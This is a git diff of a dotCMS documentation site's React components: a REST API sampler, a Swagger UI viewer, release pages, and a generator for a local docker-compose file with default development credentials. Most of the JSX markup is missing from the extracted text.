+ {pageAsset?.layout?.footer && }
+
+ );
}
\ No newline at end of file
diff --git a/components/playgrounds/RestApiPlayground/RestApiPlayground.tsx b/components/playgrounds/RestApiPlayground/RestApiPlayground.tsx
index 1402638..686826e 100644
--- a/components/playgrounds/RestApiPlayground/RestApiPlayground.tsx
+++ b/components/playgrounds/RestApiPlayground/RestApiPlayground.tsx
@@ -1,183 +1,183 @@
-"use client";
-import { type FC, useState } from 'react';
-import Image from 'next/image';
-import CopyPlaygroundButton from './CopyPlaygroundButton/CopyPlaygroundButton';
-import { OPTIONS } from './config';
-import { type TFetchFn } from './types'
-import React, { useEffect, useRef } from "react";
-import Breadcrumbs from "@/components/navigation/Breadcrumbs";
-
-type RestApiPlaygroundProps = {
- contentlet: any; // Replace 'any' with proper type if known
- sideNav: any; // Replace 'any' with proper type if known
- slug: string;
-};
-
-export const RestApiPlayground = ({ contentlet, sideNav, slug }: RestApiPlaygroundProps) => {
- const [selectedOption, setSelectedOption] = useState(OPTIONS[0]);
- const [result, setResult] = useState | null>(null);
- const [loading, setLoading] = useState(false);
-
- if (!contentlet || !sideNav) {
- return Loading...
;
- }
-
- const handleClick = async (fetchFn: TFetchFn): Promise => {
- setLoading(true);
- setResult(null);
- try {
- const response = await fetchFn();
- const data = await response.json();
- setResult(data);
- } catch (err) {
- setResult(null);
- }
- setLoading(false);
- };
-
-
-
- return (
-
-
- {/* Main Content Area */}
-
-
- REST API Sampler
-
-
-
-
- {(OPTIONS || []).map((option, index: number) => (
- setSelectedOption(option)}
- >
-
-
-
- {option.name}
-
- ))}
-
-
-
-
-
-
-
- {selectedOption.codeRequest}
-
-
-
-
-
handleClick(selectedOption.fetchFn)}
- >
-
-
-
-
-
-
-
-
-
-
-
-
- {result ? (
-
- {JSON.stringify(result, null, 2)}
-
- ) : (
-
-
- {loading
- ? 'Waiting for response...'
- : 'Hit the Play button to get a response'}
-
-
- )}
-
-
-
-
-
-
-
- );
-};
-
-export default RestApiPlayground;
+"use client";
+import { type FC, useState } from 'react';
+import Image from 'next/image';
+import CopyPlaygroundButton from './CopyPlaygroundButton/CopyPlaygroundButton';
+import { OPTIONS } from './config';
+import { type TFetchFn } from './types'
+import React, { useEffect, useRef } from "react";
+import Breadcrumbs from "@/components/navigation/Breadcrumbs";
+
+type RestApiPlaygroundProps = {
+ contentlet: any; // Replace 'any' with proper type if known
+ sideNav: any; // Replace 'any' with proper type if known
+ slug: string;
+};
+
+export const RestApiPlayground = ({ contentlet, sideNav, slug }: RestApiPlaygroundProps) => {
+ const [selectedOption, setSelectedOption] = useState(OPTIONS[0]);
+ const [result, setResult] = useState | null>(null);
+ const [loading, setLoading] = useState(false);
+
+ if (!contentlet || !sideNav) {
+ return Loading...
;
+ }
+
+ const handleClick = async (fetchFn: TFetchFn): Promise => {
+ setLoading(true);
+ setResult(null);
+ try {
+ const response = await fetchFn();
+ const data = await response.json();
+ setResult(data);
+ } catch (err) {
+ setResult(null);
+ }
+ setLoading(false);
+ };
+
+
+
+ return (
+
+
+ {/* Main Content Area */}
+
+
+ REST API Sampler
+
+
+
+
+ {(OPTIONS || []).map((option, index: number) => (
+ setSelectedOption(option)}
+ >
+
+
+
+ {option.name}
+
+ ))}
+
+
+
+
+
+
+
+ {selectedOption.codeRequest}
+
+
+
+
+
handleClick(selectedOption.fetchFn)}
+ >
+
+
+
+
+
+
+
+
+
+
+
+
+ {result ? (
+
+ {JSON.stringify(result, null, 2)}
+
+ ) : (
+
+
+ {loading
+ ? 'Waiting for response...'
+ : 'Hit the Play button to get a response'}
+
+
+ )}
+
+
+
+
+
+
+
+ );
+};
+
+export default RestApiPlayground;
diff --git a/components/playgrounds/SwaggerUIComponent/SwaggerUIComponent.tsx b/components/playgrounds/SwaggerUIComponent/SwaggerUIComponent.tsx
index 37fadb6..f1b879a 100644
--- a/components/playgrounds/SwaggerUIComponent/SwaggerUIComponent.tsx
+++ b/components/playgrounds/SwaggerUIComponent/SwaggerUIComponent.tsx
@@ -1,76 +1,76 @@
-'use client'
-import { type FC, useState, useEffect } from 'react'
-import SwaggerUI from 'swagger-ui-react'
-import { getOpenAPISpec } from '@/services/openapi/getOpenAPISpec'
-import type { OpenAPISpec } from '@/services/openapi/getOpenAPISpec'
-import { createSwaggerRequestInterceptor } from '@/util/swaggerRequestInterceptor'
-
-import 'swagger-ui-react/swagger-ui.css'
-
-const SwaggerUIComponent: FC = () => {
- const [spec, setSpec] = useState(null);
- const [loading, setLoading] = useState(true);
- const [error, setError] = useState(null);
-
- useEffect(() => {
- const fetchSpec = async () => {
- try {
- setLoading(true);
- setError(null);
- const openAPISpec = await getOpenAPISpec();
- setSpec(openAPISpec);
- } catch (err) {
- setError(err instanceof Error ? err.message : 'Failed to load API specification');
- } finally {
- setLoading(false);
- }
- };
-
- fetchSpec();
- }, []);
-
- // Request interceptor to add authentication headers and rewrite URLs
- const requestInterceptor = createSwaggerRequestInterceptor();
-
- if (loading) {
- return (
-
-
-
-
Loading API documentation...
-
-
- );
- }
-
- if (error) {
- return (
-
-
-
Error Loading API Documentation
-
{error}
-
-
- );
- }
-
- if (!spec) {
- return (
-
-
-
No API Documentation Found
-
The API specification could not be loaded or is empty.
-
-
- );
- }
-
- return (
-
- );
-}
-
-export default SwaggerUIComponent
+'use client'
+import { type FC, useState, useEffect } from 'react'
+import SwaggerUI from 'swagger-ui-react'
+import { getOpenAPISpec } from '@/services/openapi/getOpenAPISpec'
+import type { OpenAPISpec } from '@/services/openapi/getOpenAPISpec'
+import { createSwaggerRequestInterceptor } from '@/util/swaggerRequestInterceptor'
+
+import 'swagger-ui-react/swagger-ui.css'
+
+const SwaggerUIComponent: FC = () => {
+ const [spec, setSpec] = useState(null);
+ const [loading, setLoading] = useState(true);
+ const [error, setError] = useState(null);
+
+ useEffect(() => {
+ const fetchSpec = async () => {
+ try {
+ setLoading(true);
+ setError(null);
+ const openAPISpec = await getOpenAPISpec();
+ setSpec(openAPISpec);
+ } catch (err) {
+ setError(err instanceof Error ? err.message : 'Failed to load API specification');
+ } finally {
+ setLoading(false);
+ }
+ };
+
+ fetchSpec();
+ }, []);
+
+ // Request interceptor to add authentication headers and rewrite URLs
+ const requestInterceptor = createSwaggerRequestInterceptor();
+
+ if (loading) {
+ return (
+
+
+
+
Loading API documentation...
+
+
+ );
+ }
+
+ if (error) {
+ return (
+
+
+
Error Loading API Documentation
+
{error}
+
+
+ );
+ }
+
+ if (!spec) {
+ return (
+
+
+
No API Documentation Found
+
The API specification could not be loaded or is empty.
+
+
+ );
+ }
+
+ return (
+
+ );
+}
+
+export default SwaggerUIComponent
diff --git a/components/releases/AllReleases.js b/components/releases/AllReleases.js
index d2e043d..f80c791 100644
--- a/components/releases/AllReleases.js
+++ b/components/releases/AllReleases.js
@@ -1,123 +1,123 @@
-"use client";
-
-import { useSearchParams, useRouter } from "next/navigation";
-import Breadcrumbs from "../navigation/Breadcrumbs";
-import { TableReleases } from "./TableReleases/TableReleases";
-import { Input } from "@/components/ui/input";
-import { Search } from "lucide-react";
-import { useState, useEffect } from "react";
-import { FilterReleases } from "@/services/docs/getReleases/types";
-
-export default function AllReleases({ sideNav, slug }) {
- const router = useRouter();
- const searchParams = useSearchParams();
- const [version, setVersion] = useState("");
-
- // Get filter from URL or default to ALL
- const currentFilter = searchParams.get("filter");
- const filter = currentFilter === "1"
- ? FilterReleases.CURRENT
- : currentFilter === "2"
- ? FilterReleases.LTS
- : FilterReleases.ALL;
-
- // Update version state when URL changes
- useEffect(() => {
- const urlVersion = searchParams.get("version") || "";
- setVersion(urlVersion);
- }, [searchParams]);
-
- const handleVersionToggle = (newFilter) => {
- const params = new URLSearchParams(searchParams);
- params.set("filter", newFilter.toString());
- params.set("version", version);
- //params.delete("version"); // Clear version when changing filter
- params.set("page", "1"); // Reset to first page
- router.push(`?${params.toString()}`);
- };
-
- const handleSearch = (e) => {
- const value = e.target.value;
- setVersion(value);
- const params = new URLSearchParams(searchParams);
- if (value) {
- params.set("version", value);
- } else {
- params.delete("version");
- }
- params.set("page", "1");
- router.push(`?${params.toString()}`);
- };
-
- return (
-
-
-
-
-
-
All Releases
-
-
- handleVersionToggle(FilterReleases.ALL)}
- className={`px-4 py-2 rounded-full text-sm font-medium transition-colors ${
- filter === FilterReleases.ALL
- ? "bg-primary text-primary-foreground"
- : "bg-muted hover:bg-muted/80"
- }`}
- >
- All
-
- handleVersionToggle(FilterReleases.CURRENT)}
- className={`px-4 py-2 rounded-full text-sm font-medium transition-colors ${
- filter === FilterReleases.CURRENT
- ? "bg-primary text-primary-foreground"
- : "bg-muted hover:bg-muted/80"
- }`}
- >
- Current
-
- handleVersionToggle(FilterReleases.LTS)}
- className={`px-4 py-2 rounded-full text-sm font-medium transition-colors ${
- filter === FilterReleases.LTS
- ? "bg-primary text-primary-foreground"
- : "bg-muted hover:bg-muted/80"
- }`}
- >
- LTS
-
-
-
-
-
-
-
-
-
-
-
-
- );
-}
+"use client";
+
+import { useSearchParams, useRouter } from "next/navigation";
+import Breadcrumbs from "../navigation/Breadcrumbs";
+import { TableReleases } from "./TableReleases/TableReleases";
+import { Input } from "@/components/ui/input";
+import { Search } from "lucide-react";
+import { useState, useEffect } from "react";
+import { FilterReleases } from "@/services/docs/getReleases/types";
+
+export default function AllReleases({ sideNav, slug }) {
+ const router = useRouter();
+ const searchParams = useSearchParams();
+ const [version, setVersion] = useState("");
+
+ // Get filter from URL or default to ALL
+ const currentFilter = searchParams.get("filter");
+ const filter = currentFilter === "1"
+ ? FilterReleases.CURRENT
+ : currentFilter === "2"
+ ? FilterReleases.LTS
+ : FilterReleases.ALL;
+
+ // Update version state when URL changes
+ useEffect(() => {
+ const urlVersion = searchParams.get("version") || "";
+ setVersion(urlVersion);
+ }, [searchParams]);
+
+ const handleVersionToggle = (newFilter) => {
+ const params = new URLSearchParams(searchParams);
+ params.set("filter", newFilter.toString());
+ params.set("version", version);
+ //params.delete("version"); // Clear version when changing filter
+ params.set("page", "1"); // Reset to first page
+ router.push(`?${params.toString()}`);
+ };
+
+ const handleSearch = (e) => {
+ const value = e.target.value;
+ setVersion(value);
+ const params = new URLSearchParams(searchParams);
+ if (value) {
+ params.set("version", value);
+ } else {
+ params.delete("version");
+ }
+ params.set("page", "1");
+ router.push(`?${params.toString()}`);
+ };
+
+ return (
+
+
+
+
+
+
All Releases
+
+
+ handleVersionToggle(FilterReleases.ALL)}
+ className={`px-4 py-2 rounded-full text-sm font-medium transition-colors ${
+ filter === FilterReleases.ALL
+ ? "bg-primary text-primary-foreground"
+ : "bg-muted hover:bg-muted/80"
+ }`}
+ >
+ All
+
+ handleVersionToggle(FilterReleases.CURRENT)}
+ className={`px-4 py-2 rounded-full text-sm font-medium transition-colors ${
+ filter === FilterReleases.CURRENT
+ ? "bg-primary text-primary-foreground"
+ : "bg-muted hover:bg-muted/80"
+ }`}
+ >
+ Current
+
+ handleVersionToggle(FilterReleases.LTS)}
+ className={`px-4 py-2 rounded-full text-sm font-medium transition-colors ${
+ filter === FilterReleases.LTS
+ ? "bg-primary text-primary-foreground"
+ : "bg-muted hover:bg-muted/80"
+ }`}
+ >
+ LTS
+
+
+
+
+
+
+
+
+
+
+
+
+ );
+}
diff --git a/components/releases/CurrentReleases.js b/components/releases/CurrentReleases.js
index 8d75418..17a0196 100644
--- a/components/releases/CurrentReleases.js
+++ b/components/releases/CurrentReleases.js
@@ -1,52 +1,52 @@
-"use client";
-
-import Breadcrumbs from "../navigation/Breadcrumbs";
-import { TableReleases } from "./TableReleases/TableReleases";
-import { DockerComposeYAML } from "./DockerComposeYAML/DockerComposeYAML";
-import React, { useState } from 'react';
-
-export default function CurrentReleases({ sideNav, slug }) {
- const [selectedRelease, setSelectedRelease] = useState(null);
-
- return (
-
- {/* Main Content Area */}
-
-
-
-
-
Current Releases
-
-
-
-
- Download and Try It Out!
-
-
- Spin up your own local dotCMS container using Docker in mere moments: Just download the desired version's
- file to your chosen working directory and use docker compose up.
-
-
Your local instance will be ready to use in minutes,
- at http://localhost:8082.
-
-
-
For more information,
- see Logging Into dotCMS .
-
-
-
- );
-}
+"use client";
+
+import Breadcrumbs from "../navigation/Breadcrumbs";
+import { TableReleases } from "./TableReleases/TableReleases";
+import { DockerComposeYAML } from "./DockerComposeYAML/DockerComposeYAML";
+import React, { useState } from 'react';
+
+export default function CurrentReleases({ sideNav, slug }) {
+ const [selectedRelease, setSelectedRelease] = useState(null);
+
+ return (
+
+ {/* Main Content Area */}
+
+
+
+
+
Current Releases
+
+
+
+
+ Download and Try It Out!
+
+
+ Spin up your own local dotCMS container using Docker in mere moments: Just download the desired version's
+ file to your chosen working directory and use docker compose up.
+
+
Your local instance will be ready to use in minutes,
+ at http://localhost:8082.
+
+
+
For more information,
+ see Logging Into dotCMS .
+
+
+
+ );
+}
diff --git a/components/releases/DockerComposeYAML/DockerComposeYAML.tsx b/components/releases/DockerComposeYAML/DockerComposeYAML.tsx
index f53c699..9505420 100644
--- a/components/releases/DockerComposeYAML/DockerComposeYAML.tsx
+++ b/components/releases/DockerComposeYAML/DockerComposeYAML.tsx
@@ -1,340 +1,340 @@
-//import React, { useState, useEffect } from 'react';
-
-/*
-* This is a temporary version of this function to generate the YAML file for the Docker Compose file.
-* A real version would need to fetch the baseYaml value from https://dotcms.com/run/clean.
-* This is not possible in a dev environment due to CORS, and will need a bit of testing once deployed.
-* However, we still need SOMETHING to get us started, so this is a stopgap measure.
-*/
-type DockerComposeProps = {
- version: string;
- lts: boolean;
- dockerTag: string;
- cleanStarter: string;
- demoStarter: string;
- includeDemo: boolean;
-};
-
-const DockerComposeYAML = (props: DockerComposeProps) => {
- const { version, lts, dockerTag, cleanStarter, demoStarter, includeDemo } = props;
- const cleanStarterURL = `https://repo.dotcms.com/artifactory/libs-release-local/com/dotcms/starter/empty_${cleanStarter}/starter-empty_${cleanStarter}.zip`
- const demoStarterURL = `https://repo.dotcms.com/artifactory/libs-release-local/com/dotcms/starter/${demoStarter}/starter-${demoStarter}.zip`
- const outputYaml = `
-# This Docker Compose file is used to spin up a local dotCMS container using Docker.
-# Simply place this file in the desired working directory and run 'docker compose up' to get started.
-# Version: ${version}${lts ? " LTS" : ""}
-# Demo Site ${includeDemo ? "Included" : "Excluded"}
-# Starter Image: ${includeDemo ? demoStarter : cleanStarter}
-
-services:
- db:
- image: pgvector/pgvector:pg16
- command: postgres -c 'max_connections=400' -c 'shared_buffers=128MB'
- environment:
- POSTGRES_USER: 'dotcmsdbuser'
- POSTGRES_PASSWORD: 'password'
- POSTGRES_DB: 'dotcms'
- volumes:
- - dbdata:/var/lib/postgresql/data
- networks:
- - db_net
- healthcheck:
- test: ["CMD-SHELL", "pg_isready -U dotcmsdbuser -d dotcms -h localhost -p 5432"]
- interval: 10s
- timeout: 5s
- retries: 5
- restart: unless-stopped
-
- opensearch:
- image: opensearchproject/opensearch:1
- environment:
- cluster.name: "elastic-cluster"
- discovery.type: "single-node"
- bootstrap.memory_lock: "true"
- OPENSEARCH_JAVA_OPTS: "-Xmx1G"
- ulimits:
- memlock:
- soft: -1
- hard: -1
- nofile:
- soft: 65536
- hard: 65536
- ports:
- - "9200:9200"
- - "9600:9600"
- volumes:
- - opensearch-data:/usr/share/opensearch/data
- networks:
- - opensearch-net
- deploy:
- resources:
- limits:
- cpus: "1.0"
- memory: 2G
-
- dotcms:
- image: dotcms/dotcms:${dockerTag}
- environment:
- CMS_JAVA_OPTS: '-Xmx1g '
- JAVA_TOOL_OPTIONS: '-XX:UseSVE=0'
- LANG: 'C.UTF-8'
- TZ: 'UTC'
- DB_BASE_URL: "jdbc:postgresql://db/dotcms"
- DB_USERNAME: 'dotcmsdbuser'
- DB_PASSWORD: 'password'
- DOT_ES_AUTH_BASIC_PASSWORD: 'admin'
- DOT_ES_ENDPOINTS: 'https://opensearch:9200'
- DOT_INITIAL_ADMIN_PASSWORD: 'admin'
- DOT_DOTCMS_CLUSTER_ID: 'dotcms-production'
- GLOWROOT_ENABLED: 'true'
- GLOWROOT_WEB_UI_ENABLED: 'true' # Enable glowroot web ui on localhost. do not use in production
-
- CUSTOM_STARTER_URL: '${includeDemo ? demoStarterURL : cleanStarterURL}'
- depends_on:
- - db
- - opensearch
- volumes:
- - cms-shared:/data/shared
- #- {license_local_path}/license.zip:/data/shared/assets/license.zip
- networks:
- - db_net
- - opensearch-net
- ports:
- - "8082:8082"
- - "8443:8443"
- - "4000:4000" # Glowroot web ui if enabled
-
-networks:
- db_net:
- opensearch-net:
-
-volumes:
- cms-shared:
- dbdata:
- opensearch-data:`;
- const blob = new Blob([outputYaml], { type: 'text/yaml' });
- const url = window.URL.createObjectURL(blob);
- const a = document.createElement('a');
- a.href = url;
- a.download = 'docker-compose.yml';
- document.body.appendChild(a);
- a.click();
- window.URL.revokeObjectURL(url);
- document.body.removeChild(a);
- return null; // Temporary return until implemented
-};
-
-export default DockerComposeYAML;
-
-
-/*
-// Define types for the build data
-interface BuildDoc {
- minor: string;
- dockerImage: string;
- lts: { selectValue: number };
- starter: { selectValue: string };
- eolDate: string;
- parent?: { eolDate: string };
-}
-
-// Define types for the selected version
-interface SelectedVersion {
- dockertag: string;
- version: string;
- lts: boolean;
- starter: string;
-}
-
-export function DockerComposeYAML2({ selectedRelease }: { selectedRelease: string }) {
- // State for builds, sorted LTS builds, selected version, and checkbox
- const [builds, setBuilds] = useState([]);
- const [sortedLTS, setSortedLTS] = useState([]);
- const [selectedVersion, setSelectedVersion] = useState(null);
- const [includeDemo, setIncludeDemo] = useState(false);
- const [yamlContent, setYamlContent] = useState('');
-
- // Simulate fetching builds data (replace with actual API call)
- useEffect(() => {
- // Mock data for builds (replace with actual data fetching logic)
- const mockBuilds: BuildDoc[] = [
- {
- minor: '5.3.8',
- dockerImage: 'dotcms/dotcms:5.3.8',
- lts: { selectValue: 1 },
- starter: { selectValue: '123' },
- eolDate: '2025-12-31',
- parent: { eolDate: '2025-12-31' },
- },
- {
- minor: '5.2.10',
- dockerImage: 'dotcms/dotcms:5.2.10',
- lts: { selectValue: 3 },
- starter: { selectValue: '456' },
- eolDate: '2024-12-31',
- parent: { eolDate: '2024-12-31' },
- },
- ];
-
- setBuilds(mockBuilds);
-
- // Sort LTS builds (logic from VTL)
- const today = new Date();
- const ltsBuilds = mockBuilds
- .filter((buildDoc) => {
- const realEOL = buildDoc.parent?.eolDate || buildDoc.eolDate;
- return (
- buildDoc.lts.selectValue === 1 &&
- new Date(realEOL) >= today
- );
- })
- .sort((a, b) => {
- const aEOL = a.parent?.eolDate || a.eolDate;
- const bEOL = b.parent?.eolDate || b.eolDate;
- return new Date(aEOL).getTime() - new Date(bEOL).getTime();
- })
- .slice(0, 3); // Limit to 3 LTS builds
-
- setSortedLTS(ltsBuilds);
- }, []);
-
- // Handle version selection change
- const handleVersionChange = (event: React.ChangeEvent) => {
- const selectedValue: SelectedVersion = JSON.parse(event.target.value);
- setSelectedVersion(selectedValue);
- updateYAML(selectedValue, includeDemo);
- };
-
- // Handle checkbox change
- const handleIncludeDemoChange = (event: React.ChangeEvent) => {
- const checked = event.target.checked;
- setIncludeDemo(checked);
- if (selectedVersion) {
- updateYAML(selectedVersion, checked);
- }
- };
-
- // Update YAML content
- const updateYAML = (version: SelectedVersion, includeDemo: boolean) => {
- const baseYAML = `# Sample Docker Compose file for dotCMS ${version.version}${includeDemo ? ' + Demo Site' : ''}\n\n` +
- `version: '3.7'\n` +
- `services:\n` +
- ` dotcms:\n` +
- ` image: ${version.dockertag}\n` +
- ` ports:\n` +
- ` - "8080:8080"\n`;
-
- let modYAML = baseYAML;
-
- if (includeDemo) {
- modYAML = modYAML.replace(
- /#CUSTOM_STARTER_URL: 'https:\/\/repo.dotcms.com\/artifactory\/libs-release-local\/com\/dotcms\/starter\/[0-9]+\/starter-[0-9]+.zip'/,
- `CUSTOM_STARTER_URL: 'https://repo.dotcms.com/artifactory/libs-release-local/com/dotcms/starter/${version.starter}/starter-${version.starter}.zip'`
- );
- }
-
- setYamlContent(modYAML);
- };
-
- // Download YAML file
- const downloadYAML = () => {
- const blob = new Blob([yamlContent], { type: 'text/yaml' });
- const url = URL.createObjectURL(blob);
- const link = document.createElement('a');
- link.href = url;
- link.download = 'docker-compose.yml';
- link.click();
- URL.revokeObjectURL(url);
- };
-
- return (
-
- Download Docker Compose YAML
-
- Spin up your own local dotCMS container using{' '}
-
- Docker
- {' '}
- in mere moments!
-
-
- Select a version from the dropdown.
-
- Choose either a clean (i.e., empty) starter or one bundled with a copy of the dotCMS Demo Site .
-
-
- Download the file to your chosen working directory and use docker compose up.
-
-
-
-
-
Choose a version:
-
- {builds.map((buildDoc) =>
- buildDoc.lts.selectValue === 3 ? (
-
- dotCMS {buildDoc.minor}
-
- ) : null
- )}
- {sortedLTS.map((buildDoc) => (
-
- dotCMS {buildDoc.minor} LTS
-
- ))}
-
-
-
-
-
-
-
- Include Demo Site
-
-
-
-
-
- Download YAML
-
-
-
-
-
- {yamlContent}
-
-
-
- );
-};
-
-//export DockerComposeYAML2;
+//import React, { useState, useEffect } from 'react';
+
+/*
+* This is a temporary version of this function to generate the YAML file for the Docker Compose file.
+* A real version would need to fetch the baseYaml value from https://dotcms.com/run/clean.
+* This is not possible in a dev environment due to CORS, and will need a bit of testing once deployed.
+* However, we still need SOMETHING to get us started, so this is a stopgap measure.
+*/
+type DockerComposeProps = {
+ version: string;
+ lts: boolean;
+ dockerTag: string;
+ cleanStarter: string;
+ demoStarter: string;
+ includeDemo: boolean;
+};
+
+const DockerComposeYAML = (props: DockerComposeProps) => {
+ const { version, lts, dockerTag, cleanStarter, demoStarter, includeDemo } = props;
+ const cleanStarterURL = `https://repo.dotcms.com/artifactory/libs-release-local/com/dotcms/starter/empty_${cleanStarter}/starter-empty_${cleanStarter}.zip`
+ const demoStarterURL = `https://repo.dotcms.com/artifactory/libs-release-local/com/dotcms/starter/${demoStarter}/starter-${demoStarter}.zip`
+ const outputYaml = `
+# This Docker Compose file is used to spin up a local dotCMS container using Docker.
+# Simply place this file in the desired working directory and run 'docker compose up' to get started.
+# Version: ${version}${lts ? " LTS" : ""}
+# Demo Site ${includeDemo ? "Included" : "Excluded"}
+# Starter Image: ${includeDemo ? demoStarter : cleanStarter}
+
+services:
+ db:
+ image: pgvector/pgvector:pg16
+ command: postgres -c 'max_connections=400' -c 'shared_buffers=128MB'
+ environment:
+ POSTGRES_USER: 'dotcmsdbuser'
+ POSTGRES_PASSWORD: 'password'
+ POSTGRES_DB: 'dotcms'
+ volumes:
+ - dbdata:/var/lib/postgresql/data
+ networks:
+ - db_net
+ healthcheck:
+ test: ["CMD-SHELL", "pg_isready -U dotcmsdbuser -d dotcms -h localhost -p 5432"]
+ interval: 10s
+ timeout: 5s
+ retries: 5
+ restart: unless-stopped
+
+ opensearch:
+ image: opensearchproject/opensearch:1
+ environment:
+ cluster.name: "elastic-cluster"
+ discovery.type: "single-node"
+ bootstrap.memory_lock: "true"
+ OPENSEARCH_JAVA_OPTS: "-Xmx1G"
+ ulimits:
+ memlock:
+ soft: -1
+ hard: -1
+ nofile:
+ soft: 65536
+ hard: 65536
+ ports:
+ - "9200:9200"
+ - "9600:9600"
+ volumes:
+ - opensearch-data:/usr/share/opensearch/data
+ networks:
+ - opensearch-net
+ deploy:
+ resources:
+ limits:
+ cpus: "1.0"
+ memory: 2G
+
+ dotcms:
+ image: dotcms/dotcms:${dockerTag}
+ environment:
+ CMS_JAVA_OPTS: '-Xmx1g '
+ JAVA_TOOL_OPTIONS: '-XX:UseSVE=0'
+ LANG: 'C.UTF-8'
+ TZ: 'UTC'
+ DB_BASE_URL: "jdbc:postgresql://db/dotcms"
+ DB_USERNAME: 'dotcmsdbuser'
+ DB_PASSWORD: 'password'
+ DOT_ES_AUTH_BASIC_PASSWORD: 'admin'
+ DOT_ES_ENDPOINTS: 'https://opensearch:9200'
+ DOT_INITIAL_ADMIN_PASSWORD: 'admin'
+ DOT_DOTCMS_CLUSTER_ID: 'dotcms-production'
+ GLOWROOT_ENABLED: 'true'
+ GLOWROOT_WEB_UI_ENABLED: 'true' # Enable glowroot web ui on localhost. do not use in production
+
+ CUSTOM_STARTER_URL: '${includeDemo ? demoStarterURL : cleanStarterURL}'
+ depends_on:
+ - db
+ - opensearch
+ volumes:
+ - cms-shared:/data/shared
+ #- {license_local_path}/license.zip:/data/shared/assets/license.zip
+ networks:
+ - db_net
+ - opensearch-net
+ ports:
+ - "8082:8082"
+ - "8443:8443"
+ - "4000:4000" # Glowroot web ui if enabled
+
+networks:
+ db_net:
+ opensearch-net:
+
+volumes:
+ cms-shared:
+ dbdata:
+ opensearch-data:`;
+ const blob = new Blob([outputYaml], { type: 'text/yaml' });
+ const url = window.URL.createObjectURL(blob);
+ const a = document.createElement('a');
+ a.href = url;
+ a.download = 'docker-compose.yml';
+ document.body.appendChild(a);
+ a.click();
+ window.URL.revokeObjectURL(url);
+ document.body.removeChild(a);
+ return null; // Temporary return until implemented
+};
+
+export default DockerComposeYAML;
+
+
+/*
+// Define types for the build data
+interface BuildDoc {
+ minor: string;
+ dockerImage: string;
+ lts: { selectValue: number };
+ starter: { selectValue: string };
+ eolDate: string;
+ parent?: { eolDate: string };
+}
+
+// Define types for the selected version
+interface SelectedVersion {
+ dockertag: string;
+ version: string;
+ lts: boolean;
+ starter: string;
+}
+
+export function DockerComposeYAML2({ selectedRelease }: { selectedRelease: string }) {
+ // State for builds, sorted LTS builds, selected version, and checkbox
+ const [builds, setBuilds] = useState([]);
+ const [sortedLTS, setSortedLTS] = useState([]);
+ const [selectedVersion, setSelectedVersion] = useState(null);
+ const [includeDemo, setIncludeDemo] = useState(false);
+ const [yamlContent, setYamlContent] = useState('');
+
+ // Simulate fetching builds data (replace with actual API call)
+ useEffect(() => {
+ // Mock data for builds (replace with actual data fetching logic)
+ const mockBuilds: BuildDoc[] = [
+ {
+ minor: '5.3.8',
+ dockerImage: 'dotcms/dotcms:5.3.8',
+ lts: { selectValue: 1 },
+ starter: { selectValue: '123' },
+ eolDate: '2025-12-31',
+ parent: { eolDate: '2025-12-31' },
+ },
+ {
+ minor: '5.2.10',
+ dockerImage: 'dotcms/dotcms:5.2.10',
+ lts: { selectValue: 3 },
+ starter: { selectValue: '456' },
+ eolDate: '2024-12-31',
+ parent: { eolDate: '2024-12-31' },
+ },
+ ];
+
+ setBuilds(mockBuilds);
+
+ // Sort LTS builds (logic from VTL)
+ const today = new Date();
+ const ltsBuilds = mockBuilds
+ .filter((buildDoc) => {
+ const realEOL = buildDoc.parent?.eolDate || buildDoc.eolDate;
+ return (
+ buildDoc.lts.selectValue === 1 &&
+ new Date(realEOL) >= today
+ );
+ })
+ .sort((a, b) => {
+ const aEOL = a.parent?.eolDate || a.eolDate;
+ const bEOL = b.parent?.eolDate || b.eolDate;
+ return new Date(aEOL).getTime() - new Date(bEOL).getTime();
+ })
+ .slice(0, 3); // Limit to 3 LTS builds
+
+ setSortedLTS(ltsBuilds);
+ }, []);
+
+ // Handle version selection change
+ const handleVersionChange = (event: React.ChangeEvent) => {
+ const selectedValue: SelectedVersion = JSON.parse(event.target.value);
+ setSelectedVersion(selectedValue);
+ updateYAML(selectedValue, includeDemo);
+ };
+
+ // Handle checkbox change
+ const handleIncludeDemoChange = (event: React.ChangeEvent) => {
+ const checked = event.target.checked;
+ setIncludeDemo(checked);
+ if (selectedVersion) {
+ updateYAML(selectedVersion, checked);
+ }
+ };
+
+ // Update YAML content
+ const updateYAML = (version: SelectedVersion, includeDemo: boolean) => {
+ const baseYAML = `# Sample Docker Compose file for dotCMS ${version.version}${includeDemo ? ' + Demo Site' : ''}\n\n` +
+ `version: '3.7'\n` +
+ `services:\n` +
+ ` dotcms:\n` +
+ ` image: ${version.dockertag}\n` +
+ ` ports:\n` +
+ ` - "8080:8080"\n`;
+
+ let modYAML = baseYAML;
+
+ if (includeDemo) {
+ modYAML = modYAML.replace(
+ /#CUSTOM_STARTER_URL: 'https:\/\/repo.dotcms.com\/artifactory\/libs-release-local\/com\/dotcms\/starter\/[0-9]+\/starter-[0-9]+.zip'/,
+ `CUSTOM_STARTER_URL: 'https://repo.dotcms.com/artifactory/libs-release-local/com/dotcms/starter/${version.starter}/starter-${version.starter}.zip'`
+ );
+ }
+
+ setYamlContent(modYAML);
+ };
+
+ // Download YAML file
+ const downloadYAML = () => {
+ const blob = new Blob([yamlContent], { type: 'text/yaml' });
+ const url = URL.createObjectURL(blob);
+ const link = document.createElement('a');
+ link.href = url;
+ link.download = 'docker-compose.yml';
+ link.click();
+ URL.revokeObjectURL(url);
+ };
+
+ return (
+
+ Download Docker Compose YAML
+
+ Spin up your own local dotCMS container using{' '}
+
+ Docker
+ {' '}
+ in mere moments!
+
+
+ Select a version from the dropdown.
+
+ Choose either a clean (i.e., empty) starter or one bundled with a copy of the dotCMS Demo Site .
+
+
+ Download the file to your chosen working directory and use docker compose up.
+
+
+
+
+
Choose a version:
+
+ {builds.map((buildDoc) =>
+ buildDoc.lts.selectValue === 3 ? (
+
+ dotCMS {buildDoc.minor}
+
+ ) : null
+ )}
+ {sortedLTS.map((buildDoc) => (
+
+ dotCMS {buildDoc.minor} LTS
+
+ ))}
+
+
+
+
+
+
+
+ Include Demo Site
+
+
+
+
+
+ Download YAML
+
+
+
+
+
+ {yamlContent}
+
+
+
+ );
+};
+
+//export DockerComposeYAML2;
*/
\ No newline at end of file
diff --git a/components/security-issues/AllSecurityIssues.js b/components/security-issues/AllSecurityIssues.js
index abe70b5..18f0447 100644
--- a/components/security-issues/AllSecurityIssues.js
+++ b/components/security-issues/AllSecurityIssues.js
@@ -1,86 +1,86 @@
-"use client";
-
-import { useSearchParams, useRouter } from "next/navigation";
